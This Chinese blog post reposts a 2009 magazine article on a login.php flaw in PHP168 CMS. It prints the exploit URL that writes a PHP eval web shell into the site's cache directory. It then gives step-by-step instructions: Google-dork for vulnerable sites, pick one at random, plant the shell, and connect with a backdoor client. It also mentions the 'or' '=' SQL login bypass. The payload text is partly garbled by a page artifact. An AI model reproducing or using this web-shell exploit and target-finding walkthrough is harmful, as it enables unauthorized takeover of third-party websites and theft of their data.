电脑报:PHP168系统登录文件漏洞
今天要说的是PHP168 CMS,臭虫对php168稍有了解,在国产cms里面也算是中规中矩的一款产品,而PHP168的作者龙城跟phpcms的作者淡淡的风也颇有渊源,一个南下一个北上,造就了两种不同的命运。令人唏嘘不已。不过,要说的不是介绍怎么使用它,而是因为臭虫刚才在数动论坛看到一则消息,大意是php168的登录文件存在一个漏洞。全文转摘如下:
本文转载自2009年第38期F版 责任编辑:陈邓新 作者:阿杰
本期主角:PHP168整站系统
问题所在:上传木马
主要危害:夺取网站最高权限
调研时间:2009.6.1~2009.9.6
PHP168是一款较为流行的PHP整站系统,在谷歌中搜索“PHP168 整站系统”(图1),可以得到约8790万条结果,可以该系统的影响力非同寻常。最近,我们电脑报的安全研究人员发现了该网站的严重漏洞,该漏洞允许黑客直接上传木马,危险到所有使用该漏洞的网站(漏洞补丁下载地址:http://www.shudoo.com/bzsoft)。
我是AV0Day组织的阿杰,几个月前我们组织得到PHP168整站系统的登录文件漏洞。该漏洞的利用方式比较简单,我们曾经在1个小时内利用了该漏洞检测了上百个网站。目前,我们还有许多中小型网站没有打上漏洞补丁。
通过该漏洞,黑客只要一句代码就可以将PHP木马写入到网站中,从而得到网站的控制权。由于该漏洞没有任何补丁,网络上数十万用PHP168整站系统搭建的网站正面临着严重的威胁。
网站内容可能被黑客窜改,数据可能被窃取,甚至首页上被挂上网页木马,严重形象网站的形象及用户的安全。而对于普通用户而言,浏览被挂马的网站后,很可能成为黑客的“肉鸡”,任其宰割。
登录文件漏洞,很容易就联想到漏洞出在login.php文件中,没有错的确是这样。该文件的作用主要是负责PHP168的用户登录,可是该文件缺存在设计不严的问题,允许访问者直接将恶意文件写入到网站的目录中。
利用的代码是l o g i n . p h p ? m a k e h t m l = 1 & c h d b [ h t m l n a m e ] = s h e l l . p h p & c h d b [ p a t h ] = c a c h e & c o n t e n t = < [ e m a i l = ? p h p % 2 0 @ e v a l ( $ _ P O S T [ c m d ] ? p h p % 2 0 @ e v a l ( $ _ P O S T [ c m d [ / e m a i l ] ] ) ; ? > ,这句代码的意思是通过login.php将shell.php写入到网站的cache目录中,shell.php的内容为< [ e m a i l = ? p h p % 2 0 @ e v a l ( $ _ P O S T [ c m d ] ? p h p % 2 0 @ e v a l ( $ _ P O S T [ c m d [ / e m a i l ] ] ) ; ? >。
安全小百科:利用登录文件的设计不严进行入侵是黑客常用的入侵手段,例如经典的'or' '='代码。不少网站程序由于对登录文件的变量没有进行足够的过滤,可以在登录框中输入'or' '='就直接登录网站后台,甚至不需要知道管理员密码。即使到今日,利用此方法同样还能入侵不少网站。
利用漏洞控制网站
第一步:打开谷歌搜索页面,输入关键字“powered by php168”进行搜索(图2),可以找到约70多万条搜索结果。随意挑选一个网站作为目标网站进行测试,然后在网站域名后输入 l o g i n . p h p ? m a k e h t m l = 1 & c h d b [ h t m l n a m e ] = s h e l l . p h p & c hd b [ p a t h ] = c a c h e & c o n t e n t = < [ e m a i l = ? p h p % 2 0 @ e v a l ( $ _ P O S T [ c m d ] ? p h p % 2 0 @ e v a l ( $ _ P O S T [ c m d [ / e m a i l ] ] ) ; ? > ,回车后如果出现登录界面就表示漏洞被成功利用(图3)。
第二步:如果代码被成功执行,木马的客户端就保存在cache\shell.php文件中了。因此只要通过服务端进行连接就可以了。运行《lanker微型PHP后门客户端》(图4),在“木马地址”中填入http://www.***.com/cache/shell.php,其中www.***.com是网站的域名。填写后在“基本功能列表”下拉框中选择“读取目录”,如果连接成功将会显示当前网站所在服务器的绝对路径。



